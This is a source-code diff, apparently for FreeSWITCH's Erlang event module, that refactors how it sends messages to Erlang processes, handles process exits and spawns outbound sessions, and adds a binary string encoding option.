+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out when waiting for XML fetch response\n");
+			switch_core_hash_insert(ptr->listener->fetch_reply_hash, uuid_str, &globals.TIMEOUT); /* TODO lock this? */
 			return NULL;
 		}
 		i++;
 		switch_yield(10000); /* 10ms */
 	}
 
-	int type, size;
+	rep = (ei_x_buff *) p;
 
 	ei_get_type(rep->buff, &rep->index, &type, &size);
 
-	if (type != ERL_STRING_EXT) /* XXX no unicode or character codes > 255 */
+	if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) { /* XXX no unicode or character codes > 255 */
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "XML fetch response contained non ASCII characters? (was type %d of size %d)\n", type, size);
 		return NULL;
+	}
 
-	char *xmlstr = switch_core_alloc(ptr->listener->pool, size + 1);
+	
+	if (!(xmlstr = malloc(size + 1))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error\n");
+		return NULL;
+	}
 
-	ei_decode_string(rep->buff, &rep->index, xmlstr);
+	ei_decode_string_or_binary(rep->buff, &rep->index, size, xmlstr);
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got data %s after %d milliseconds!\n", xmlstr, i*10);
 
 	if (switch_strlen_zero(xmlstr)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Result\n");
-	} else if (!(xml = switch_xml_parse_str(xmlstr, strlen(xmlstr)))) {
+	} else if (!(xml = switch_xml_parse_str_dynamic(xmlstr, SWITCH_FALSE))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing XML Result!\n");
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "XML parsed OK!\n");
 	}
 
+	/* cleanup */
 	switch_core_hash_delete(ptr->listener->fetch_reply_hash, uuid_str);
+	switch_safe_free(rep->buff);
+	switch_safe_free(rep);
 
-	/*switch_safe_free(rep->buff);*/
-	/*switch_safe_free(rep);*/
-	/*switch_safe_free(xmlstr);*/
-
 	return xml;
 }
 
 
-static switch_status_t notify_new_session(listener_t *listener, switch_core_session_t *session, struct erlang_process process)
+static switch_status_t notify_new_session(listener_t *listener, session_elem_t *session_element)
 {
 	int result;
+	switch_core_session_t *session;
 	switch_event_t *call_event=NULL;
 	switch_channel_t *channel=NULL;
+	ei_x_buff lbuf;
 
 	/* Send a message to the associated registered process to let it know there is a call.
 	   Message is a tuple of the form {call, <call-event>}
 	*/
-	channel = switch_core_session_get_channel(session);
+	
 	if (switch_event_create(&call_event, SWITCH_EVENT_CHANNEL_DATA) != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
 		return SWITCH_STATUS_MEMERR;
 	}
+
+	if (!(session = switch_core_session_locate(session_element->uuid_str))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't locate session %s\n", session_element->uuid_str);
+		return SWITCH_STATUS_FALSE;
+	}
+
+	channel = switch_core_session_get_channel(session);
+
 	switch_caller_profile_event_set_data(switch_channel_get_caller_profile(channel), "Channel", call_event);
 	switch_channel_event_set_data(channel, call_event);
+	switch_core_session_rwunlock(session);
 	switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Content-Type", "command/reply");
 	switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, "Reply-Text", "+OK\n");
 	
-	ei_x_buff lbuf;
 	ei_x_new_with_version(&lbuf);
 	ei_x_encode_tuple_header(&lbuf, 2);
 	ei_x_encode_atom(&lbuf, "call");
 	ei_encode_switch_event(&lbuf, call_event);
 	switch_mutex_lock(listener->sock_mutex);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending initial call event\n");
-	if (process.type == ERLANG_PID) {
-		result = ei_send(listener->sockfd, &process.pid, lbuf.buff, lbuf.index);
-	} else {
-		result = ei_reg_send(listener->ec, listener->sockfd, process.reg_name, lbuf.buff, lbuf.index);
-	}
+	result = ei_sendto(listener->ec, listener->sockfd, &session_element->process, &lbuf);
 
+	switch_mutex_unlock(listener->sock_mutex);
+
 	if (result) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to send call event\n");
 	}
-	switch_mutex_unlock(listener->sock_mutex);
 	
 	ei_x_free(&lbuf);
 	return SWITCH_STATUS_SUCCESS;
@@ -435,7 +517,7 @@
 
 static switch_status_t check_attached_sessions(listener_t *listener)
 {
-	session_elem_t *last,*sp;
+	session_elem_t *last,*sp, *removed;
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	void *pop;
 	/* check up on all the attached sessions -
@@ -447,57 +529,65 @@
 	sp = listener->session_list;
 	last = NULL;
 	while(sp) {
+		removed = NULL;
+		if (switch_test_flag(sp, LFLAG_WAITING_FOR_PID)) {
+			break;
+		}
+
 		if (!switch_test_flag(sp, LFLAG_OUTBOUND_INIT)) {
-			status = notify_new_session(listener, sp->session, sp->process);
-			if (status != SWITCH_STATUS_SUCCESS)
+			status = notify_new_session(listener, sp);
+			if (status != SWITCH_STATUS_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Notifying new session failed\n");
 				break;
+			}
 			switch_set_flag(sp, LFLAG_OUTBOUND_INIT);
 		}
 		/* check event queue for this session */
-		if (switch_queue_trypop(sp->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {			   
+		if (switch_queue_trypop(sp->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
 			switch_event_t *pevent = (switch_event_t *) pop;
 			
 			/* events from attached sessions are wrapped in a {call_event,<EVT>} tuple 
 			   to distinguish them from normal events (if they are sent to the same process)
 			 */
 			ei_x_buff ebuf;
-			ei_x_new_with_version(&ebuf);		 
+
+			ei_x_new_with_version(&ebuf);
 			ei_x_encode_tuple_header(&ebuf, 2);
 			ei_x_encode_atom(&ebuf, "call_event");
 			ei_encode_switch_event(&ebuf, pevent);
 			
 			switch_mutex_lock(listener->sock_mutex);
-			if (sp->process.type == ERLANG_PID) {
-				ei_send(listener->sockfd, &sp->process.pid, ebuf.buff, ebuf.index);
-			} else {
-				ei_reg_send(listener->ec, listener->sockfd, sp->process.reg_name, ebuf.buff, ebuf.index);
-			}
+			ei_sendto(listener->ec, listener->sockfd, &sp->process, &ebuf);
 			switch_mutex_unlock(listener->sock_mutex);
+			ei_x_free(&ebuf);
 
-			/* event is a hangup, so this session can be removed */
-			if (pevent->event_id == SWITCH_EVENT_CHANNEL_HANGUP) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Hangup event for attached session\n");
+			/* event is a channel destroy, so this session can be removed */
+			if (pevent->event_id == SWITCH_EVENT_CHANNEL_DESTROY) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroy event for attached session for %s\n", sp->uuid_str);
 
-				/* remove session from list */
-				if (last)
-					last->next = sp->next;
-				else
-					listener->session_list = sp->next;
-					
 				/* this allows the application threads to exit */
-				switch_clear_flag_locked(sp, LFLAG_SESSION_ALIVE);				
+				removed = sp;
 
+				ei_x_new_with_version(&ebuf);
+				ei_x_encode_atom(&ebuf, "call_hangup");
+				switch_mutex_lock(listener->sock_mutex);
+				ei_sendto(listener->ec, listener->sockfd, &sp->process, &ebuf);
+				switch_mutex_unlock(listener->sock_mutex);
+				ei_x_free(&ebuf);
+
 				/* TODO
 				   if this listener was created outbound, and the last session has been detached
 				   should the listener also exit? Does it matter?
 				 */
 			}
-			
-			ei_x_free(&ebuf);
 			switch_event_destroy(&pevent);
 		}
-		last = sp;
 		sp = sp->next;
+		if (removed) {
+			remove_session_elem_from_listener(listener, removed);
+		} else {
+			last = sp;
+		}
 	}
 	switch_mutex_unlock(listener->session_mutex);
 	return status;
@@ -546,16 +636,12 @@
 				ei_x_encode_empty_list(&lbuf);
 				
 				switch_mutex_lock(listener->sock_mutex);
-				if (listener->log_process.type == ERLANG_PID) {
-					ei_send(listener->sockfd, &listener->log_process.pid, lbuf.buff, lbuf.index);
-				} else {
-					ei_reg_send(listener->ec, listener->sockfd, listener->log_process.reg_name, lbuf.buff, lbuf.index);
-				}
+				ei_sendto(listener->ec, listener->sockfd, &listener->log_process, &lbuf);
 				switch_mutex_unlock(listener->sock_mutex);
 				
 				ei_x_free(&lbuf);
-				free(dnode->data);
-				free(dnode);
+				switch_safe_free(dnode->data);
+				switch_safe_free(dnode);
 			}
 		}
 	}
@@ -564,10 +650,11 @@
 static void check_event_queue(listener_t *listener)
 {
 	void* pop;
+
 	/* send out any pending crap in the event queue */
 	if (switch_test_flag(listener, LFLAG_EVENTS)) {
 		if (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
-			
+
 			switch_event_t *pevent = (switch_event_t *) pop;
 			
 			ei_x_buff ebuf;
@@ -576,11 +663,7 @@
 			ei_encode_switch_event(&ebuf, pevent);
 			
 			switch_mutex_lock(listener->sock_mutex);
-			if (listener->log_process.type == ERLANG_PID) {
-				ei_send(listener->sockfd, &listener->log_process.pid, ebuf.buff, ebuf.index);
-			} else {
-				ei_reg_send(listener->ec, listener->sockfd, listener->log_process.reg_name, ebuf.buff, ebuf.index);
-			}
+			ei_sendto(listener->ec, listener->sockfd, &listener->event_process, &ebuf);
 			switch_mutex_unlock(listener->sock_mutex);
 
 			ei_x_free(&ebuf);
@@ -589,22 +672,77 @@
 	}
 }
 
+static void handle_exit(listener_t *listener, erlang_pid *pid)
+{
+	session_elem_t *s;
+
+	remove_binding(NULL, pid); /* TODO - why don't we pass the listener as the first argument? */
+	if ((s = find_session_elem_by_pid(listener, pid))) {
+		if (s->channel_state < CS_HANGUP) {
+			switch_core_session_t *session;
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Outbound session for %s exited unexpectedly!\n",
+					s->uuid_str);
+			
+			if ((session = switch_core_session_locate(s->uuid_str))) {
+				switch_channel_t *channel = switch_core_session_get_channel(session);
+				switch_channel_set_private(channel, "_erlang_session_", NULL);
+				switch_channel_set_private(channel, "_erlang_listener_", NULL);
+				/* TODO can we clear out the state_change hook too? */
+				switch_core_session_rwunlock(session);
+			}
+			/* TODO - if a spawned process that was handling an outbound call fails.. what do we do with the call? */
+		}
+		remove_session_elem_from_listener_locked(listener, s);
+	}
+
+	if (listener->log_process.type == ERLANG_PID && !ei_compare_pids(&listener->log_process.pid, pid)) {
+		void *pop;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Log handler process for node %s exited\n", pid->node);
+		/*purge the log queue */
+		while (switch_queue_trypop(listener->log_queue, &pop) == SWITCH_STATUS_SUCCESS);
+
+		if (switch_test_flag(listener, LFLAG_LOG)) {
+			switch_clear_flag_locked(listener, LFLAG_LOG);
+		}
+	}
+
+	if (listener->event_process.type == ERLANG_PID && !ei_compare_pids(&listener->event_process.pid, pid)) {
+		void *pop;
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Event handler process for node %s exited\n", pid->node);
+		/*purge the event queue */
+		while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS);
+
+		if (switch_test_flag(listener, LFLAG_EVENTS)) {
+			uint8_t x = 0;
+			switch_clear_flag_locked(listener, LFLAG_EVENTS);
+			for (x = 0; x <= SWITCH_EVENT_ALL; x++) {
+				listener->event_list[x] = 0;
+			}
+			/* wipe the hash */
+			switch_core_hash_destroy(&listener->event_hash);
+			switch_core_hash_init(&listener->event_hash, listener->pool);
+		}
+	}
+}
+
 static void listener_main_loop(listener_t *listener) 
 {
 	int status = 1;
 
 	while ((status >= 0 || erl_errno == ETIMEDOUT || erl_errno == EAGAIN) && !prefs.done) {
 		erlang_msg msg;
-
 		ei_x_buff buf;
+		ei_x_buff rbuf;
+		
 		ei_x_new(&buf);
-
-		ei_x_buff rbuf;
 		ei_x_new_with_version(&rbuf);
 
-		switch_mutex_lock(listener->sock_mutex);
+		/* do we need the mutex when reading? */
+		/*switch_mutex_lock(listener->sock_mutex);*/
 		status = ei_xreceive_msg_tmo(listener->sockfd, &msg, &buf, 100);
-		switch_mutex_unlock(listener->sock_mutex);
+		/*switch_mutex_unlock(listener->sock_mutex);*/
 
 		switch(status) {
 			case ERL_TICK :
@@ -612,14 +750,31 @@
 			case ERL_MSG :
 				switch(msg.msgtype) {
 					case ERL_SEND :
-						/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send\n");*/
+#ifdef EI_DEBUG
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send\n");
+
+						ei_x_print_msg(&buf, &msg.from, 0);
+						/*ei_s_print_term(&pbuf, buf.buff, &i);*/
+						/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_send was message %s\n", pbuf);*/
+#endif
+
 						if (handle_msg(listener, &msg, &buf, &rbuf)) {
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
 							return;
 						}
 						break;
 					case ERL_REG_SEND :
-						/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send\n");*/
+#ifdef EI_DEBUG
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send to %s\n", msg.toname);
+
+						ei_x_print_reg_msg(&buf, msg.toname, 0);
+						/*i = 1;*/
+						/*ei_s_print_term(&pbuf, buf.buff, &i);*/
+						/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_reg_send was message %s\n", pbuf);*/
+#endif
+
 						if (handle_msg(listener, &msg, &buf, &rbuf)) {
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "handle_msg requested exit\n");
 						    return;
 						}
 						break;
@@ -631,8 +786,7 @@
 						break;
 					case ERL_EXIT :
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "erl_exit from %s <%d.%d.%d>\n", msg.from.node, msg.from.creation, msg.from.num, msg.from.serial);
-						remove_binding(NULL, &msg.from);
-						/* TODO - check if this linked pid is any of the log/event handler processes and cleanup if it is. */
+						handle_exit(listener, &msg.from);
 						break;
 					default :
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "unexpected msg type %d\n", (int)(msg.msgtype));
@@ -654,7 +808,8 @@
 
 		check_log_queue(listener);
 		check_event_queue(listener);
-		if (SWITCH_STATUS_SUCCESS != check_attached_sessions(listener)) {
+		if (check_attached_sessions(listener) != SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "check_attached_sessions requested exit\n");
 			return;
 		}
 	}
@@ -684,7 +839,12 @@
 					ei_x_encode_atom(&rbuf, "error");
 					ei_x_encode_atom(&rbuf, "acldeny");
 
+					switch_mutex_lock(listener->sock_mutex);
 					ei_send(listener->sockfd, &msg.from, rbuf.buff, rbuf.index);
+					switch_mutex_unlock(listener->sock_mutex);
+#ifdef EI_DEBUG
+					ei_x_print_msg(&rbuf, &msg.from, 1);
+#endif
 
 					ei_x_free(&rbuf);
 				}
@@ -703,11 +863,14 @@
 {
 	listener_t *listener = (listener_t *) obj;
 	session_elem_t* s;
+	switch_core_session_t *session;
 
 	switch_mutex_lock(globals.listener_mutex);
 	prefs.threads++;
 	switch_mutex_unlock(globals.listener_mutex);
 
+	switch_core_hash_init(&listener->fetch_reply_hash, listener->pool);
+
 	switch_assert(listener != NULL);
 
 	if (check_inbound_acl(listener)) {
@@ -743,11 +906,12 @@
 	/* clean up all the attached sessions */
 	switch_mutex_lock(listener->session_mutex);
 	for (s = listener->session_list; s; s = s->next) {
-		switch_channel_clear_flag(switch_core_session_get_channel(s->session), CF_CONTROLLED);
+		if ((session = switch_core_session_locate(s->uuid_str))) {
+			switch_channel_clear_flag(switch_core_session_get_channel(session), CF_CONTROLLED);
+			switch_core_session_rwunlock(session);
+		}
 		/* this allows the application threads to exit */
 		switch_clear_flag_locked(s, LFLAG_SESSION_ALIVE);
-		/* */
-		switch_core_session_rwunlock(s->session);
 	}
 	switch_mutex_unlock(listener->session_mutex);
 
@@ -786,6 +950,7 @@
 	memset(&prefs, 0, sizeof(prefs));
 
 	prefs.shortname = SWITCH_TRUE;
+	prefs.encoding = ERLANG_STRING;
 
 	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
@@ -805,6 +970,14 @@
 					set_pref_nodename(val);
 				} else if (!strcmp(var, "shortname")) {
 						prefs.shortname = switch_true(val);
+				} else if (!strcmp(var, "encoding")) {
+					if (!strcasecmp(val, "string")) {
+						prefs.encoding = ERLANG_STRING;
+					} else if (!strcasecmp(val, "binary")) {
+						prefs.encoding = ERLANG_BINARY;
+					} else {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid encoding strategy '%s' specified\n", val);
+					}
 				} else if (!strcasecmp(var, "apply-inbound-acl")) {
 					if (prefs.acl_count < MAX_ACL) {
 						prefs.acl[prefs.acl_count++] = strdup(val);
@@ -818,7 +991,7 @@
 	}
 
 	if (switch_strlen_zero(prefs.ip)) {
-		set_pref_ip("127.0.0.1");
+		set_pref_ip("0.0.0.0");
 	}
 
 	if (switch_strlen_zero(prefs.cookie)) {
@@ -830,12 +1003,13 @@
 	}
 
 	if (!prefs.nodename) {
-		prefs.nodename = "freeswitch";
+		set_pref_nodename("freeswitch");
 	}
 
 	return 0;
 }
 
+
 static listener_t* new_listener(struct ei_cnode_s *ec, int clientfd)
 {
 	switch_memory_pool_t *listener_pool = NULL;
@@ -850,15 +1024,17 @@
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Memory Error\n");
 		return NULL;
 	}
+	memset(listener, 0, sizeof(*listener));
 
 	switch_thread_rwlock_create(&listener->rwlock, listener_pool);
 	switch_queue_create(&listener->event_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
 	switch_queue_create(&listener->log_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
 		
-	listener->ec = ec;
 	listener->sockfd = clientfd;
 	listener->pool = listener_pool;
 	listener_pool = NULL;
+	listener->ec = switch_core_alloc(listener->pool, sizeof(ei_cnode));
+	memcpy(listener->ec, ec, sizeof(ei_cnode));
 	listener->level = SWITCH_LOG_DEBUG;
 	switch_mutex_init(&listener->flag_mutex, SWITCH_MUTEX_NESTED, listener->pool);
 	switch_mutex_init(&listener->sock_mutex, SWITCH_MUTEX_NESTED, listener->pool);
@@ -875,8 +1051,12 @@
 	int clientfd;
 
 	if (SWITCH_STATUS_SUCCESS==initialise_ei(&ec)) {
+#ifdef WIN32
+		WSASetLastError(0);
+#else
 		errno = 0;
-		if ((clientfd=ei_connect(&ec,node)) == ERL_ERROR) {
+#endif
+		if ((clientfd=ei_connect(&ec,node)) < 0) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error connecting to node %s (erl_errno=%d, errno=%d)!\n",node,erl_errno,errno);
 			return NULL;
 		}
@@ -886,65 +1066,211 @@
 	return listener;
 }
 
-session_elem_t* attach_call_to_listener(listener_t* listener, char* reg_name, switch_core_session_t *session)
+static switch_status_t state_handler(switch_core_session_t *session)
 {
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_channel_state_t state = switch_channel_get_state(channel);
+	session_elem_t *session_element = switch_channel_get_private(channel, "_erlang_session_");
+	/*listener_t* listener = switch_channel_get_private(channel, "_erlang_listener_");*/
+	
+	if (session_element)
+		session_element->channel_state = state;
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+session_elem_t *session_elem_create(listener_t* listener, switch_core_session_t *session) 
+{
 	/* create a session list element */
-	session_elem_t* session_element=NULL;
-	if (!(session_element = switch_core_alloc(switch_core_session_get_pool(session), sizeof(*session_element)))) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to allocate session element\n");
+	session_elem_t* session_element = malloc(sizeof(*session_element));
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+
+	memset(session_element, 0, sizeof(*session_element));
+
+	memcpy(session_element->uuid_str, switch_core_session_get_uuid(session), SWITCH_UUID_FORMATTED_LENGTH);
+	
+	switch_queue_create(&session_element->event_queue, SWITCH_CORE_QUEUE_LEN, switch_core_session_get_pool(session));
+	switch_mutex_init(&session_element->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+	
+	switch_channel_set_private(channel, "_erlang_session_", session_element);
+	switch_channel_set_private(channel, "_erlang_listener_", listener);
+	
+	switch_core_event_hook_add_state_change(session, state_handler);
+	
+	return session_element;
+}
+
+session_elem_t* attach_call_to_registered_process(listener_t* listener, char* reg_name, switch_core_session_t *session)
+{
+	/* create a session list element */
+	session_elem_t* session_element = session_elem_create(listener, session);
+
+    session_element->process.type = ERLANG_REG_PROCESS;
+    session_element->process.reg_name = switch_core_session_strdup(session, reg_name);
+    switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
+    /* attach the session to the listener */
+    add_session_elem_to_listener(listener,session_element);
+
+	return session_element;
+}
+
+session_elem_t* attach_call_to_pid(listener_t* listener, erlang_pid* pid, switch_core_session_t *session)
+{
+	/* create a session list element */
+	session_elem_t* session_element = session_elem_create(listener, session);
+
+	session_element->process.type = ERLANG_PID;
+	memcpy(&session_element->process.pid, pid, sizeof(erlang_pid));
+	switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
+	/* attach the session to the listener */
+	add_session_elem_to_listener(listener,session_element);
+	ei_link(listener, ei_self(listener->ec), pid);
+	
+	return session_element;
+}
+
+session_elem_t* attach_call_to_spawned_process(listener_t* listener, char *module, char *function, switch_core_session_t *session)
+{
+	/* create a session list element */
+	session_elem_t* session_element = session_elem_create(listener, session);
+	char hash[100];
+	int i = 0;
+	void *p = NULL;
+	erlang_pid *pid;
+	erlang_ref ref;
+
+	switch_set_flag(session_element, LFLAG_WAITING_FOR_PID);
+	
+	/* attach the session to the listener */
+	add_session_elem_to_listener(listener,session_element);
+
+	ei_init_ref(listener->ec, &ref);
+	ei_hash_ref(&ref, hash);
+	/* insert the waiting marker */
+	switch_core_hash_insert(listener->spawn_pid_hash, hash, &globals.WAITING);
+
+	if (!strcmp(function, "!")) {
+		/* send a message to request a pid */
+		ei_x_buff rbuf;
+		ei_x_new_with_version(&rbuf);
+
+		ei_x_encode_tuple_header(&rbuf, 3);
+		ei_x_encode_atom(&rbuf, "new_pid");
+		ei_x_encode_ref(&rbuf, &ref);
+		ei_x_encode_pid(&rbuf, ei_self(listener->ec));
+		/* should lock with mutex? */
+		ei_reg_send(listener->ec, listener->sockfd, module, rbuf.buff, rbuf.index);
+#ifdef EI_DEBUG
+		ei_x_print_reg_msg(&rbuf, module, 1);
+#endif
+		ei_x_free(&rbuf);
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "rpc call: %s:%s(Ref)\n", module, function);
+		/* should lock with mutex? */
+		ei_pid_from_rpc(listener->ec, listener->sockfd, &ref, module, function);
+		/*
+		   char *argv[1];
+		   ei_spawn(listener->ec, listener->sockfd, &ref, module, function, 0, argv);
+		   */
 	}
-	else {
-		if (SWITCH_STATUS_SUCCESS != switch_core_session_read_lock(session)) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to get session read lock\n");
+
+	/* loop until either we timeout or we get a value that's not the waiting marker */
+	while (!(p = switch_core_hash_find(listener->spawn_pid_hash, hash)) || p == &globals.WAITING) {
+		if (i > 50) { /* half a second timeout */
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out when waiting for outbound pid\n");
+			remove_session_elem_from_listener_locked(listener,session_element);
+			switch_core_hash_insert(listener->spawn_pid_hash, hash, &globals.TIMEOUT); /* TODO lock this? */
+			return NULL;
 		}
-		else {
-			session_element->session = session;
-			session_element->process.type = ERLANG_REG_PROCESS;
-			session_element->process.reg_name = switch_core_strdup(switch_core_session_get_pool(session),reg_name);
-			switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
-			switch_clear_flag(session_element, LFLAG_OUTBOUND_INIT);
-			switch_queue_create(&session_element->event_queue, SWITCH_CORE_QUEUE_LEN, switch_core_session_get_pool(session));
-			switch_mutex_init(&session_element->flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
-			/* attach the session to the listener */
-			add_session_elem_to_listener(listener,session_element);
-		}
+		i++;
+		switch_yield(10000); /* 10ms */
 	}
+
+	switch_core_hash_delete(listener->spawn_pid_hash, hash);
+
+	pid = (erlang_pid *) p;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "got pid!\n");
+
+	session_element->process.type = ERLANG_PID;
+	memcpy(&session_element->process.pid, pid, sizeof(erlang_pid));
+	
+	switch_set_flag(session_element, LFLAG_SESSION_ALIVE);
+	switch_clear_flag(session_element, LFLAG_OUTBOUND_INIT);
+	switch_clear_flag(session_element, LFLAG_WAITING_FOR_PID);
+
+	ei_link(listener, ei_self(listener->ec), pid);
+	switch_safe_free(pid); /* malloced in handle_ref_tuple */
+
 	return session_element;
 }
 
+
+int count_listener_sessions(listener_t *listener) {
+	session_elem_t *last,*sp;
+	int count = 0;
+
+	switch_mutex_lock(listener->session_mutex);
+	sp = listener->session_list;
+	last = NULL;
+	while(sp) {
+		count++;
+		last = sp;
+		sp = sp->next;
+	}
+
+	switch_mutex_unlock(listener->session_mutex);
+
+	return count;
+}
+
+
 /* Module Hooks */
 
 /* Entry point for outbound mode */
 SWITCH_STANDARD_APP(erlang_outbound_function)
 {
-	char *reg_name, *node;
+	char *reg_name = NULL, *node, *module = NULL, *function = NULL;
 	listener_t *listener;
-	int argc = 0;
-	char *argv[80] = { 0 };
-	char *mydata;
+	int argc = 0, argc2=0;
+	char *argv[80] = { 0 }, *argv2[80] = { 0 };
+	char *mydata, *myarg;
 	switch_bool_t new_session = SWITCH_FALSE;
 	session_elem_t* session_element=NULL;
 
 	/* process app arguments */
 	if (data && (mydata = switch_core_session_strdup(session, data))) {
 		argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
-	}
+	} /* XXX else? */
 	if (argc < 2) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Parse Error - need registered name and node!\n");
 		return;
 	}
-	reg_name = argv[0];
-	if (switch_strlen_zero(reg_name)) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing registered name!\n");
+	if (switch_strlen_zero(argv[0])) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing registered name or module:function!\n");
 		return;
 	}
+
+	if ((myarg = switch_core_session_strdup(session, argv[0]))) {
+		argc2 = switch_separate_string(myarg, ':', argv2, (sizeof(argv2) / sizeof(argv2[0])));
+	}
+
+	if (argc2 == 2) {
+		/* mod:fun style */
+		module = argv2[0];
+		function = argv2[1];
+	} else {
+		/* registered name style */
+		reg_name = argv[0];
+	}
+
+
 	node = argv[1];
 	if (switch_strlen_zero(node)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing node name!\n");
 		return;
 	}
 
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "enter erlang_outbound_function %s %s\n",reg_name, node);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "enter erlang_outbound_function %s %s\n",argv[0], node);
 
 	/* first work out if there is a listener already talking to the node we want to talk to */
 	listener = find_listener(node);
@@ -957,17 +1283,34 @@
 	else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Using existing listener for session\n");
 	}
-	if (listener &&
-		(session_element=attach_call_to_listener(listener,reg_name,session)) != NULL) {
-		
-		if (new_session)
+
+	if (listener) {
+		if (new_session == SWITCH_TRUE) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching new listener\n");
 			launch_listener_thread(listener);
-		switch_ivr_park(session, NULL);
+		}
 
-		/* keep app thread running for lifetime of session */
-		if (switch_channel_get_state(switch_core_session_get_channel(session)) >= CS_HANGUP) {
-			while (switch_test_flag(session_element, LFLAG_SESSION_ALIVE)) {
-				switch_yield(100000);
+		if (module && function) {
+			switch_core_hash_init(&listener->spawn_pid_hash, listener->pool);
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Creating new spawned session for listener\n");
+			session_element=attach_call_to_spawned_process(listener, module, function, session);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Creating new registered session for listener\n");
+			session_element=attach_call_to_registered_process(listener, reg_name, session);
+		}
+
+		if (session_element) {
+
+			switch_ivr_park(session, NULL);
+
+			/* keep app thread running for lifetime of session */
+			if (switch_channel_down(switch_core_session_get_channel(session))) {
+				if ((session_element = switch_channel_get_private(switch_core_session_get_channel(session), "_erlang_session_"))) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "outbound session all done\n");
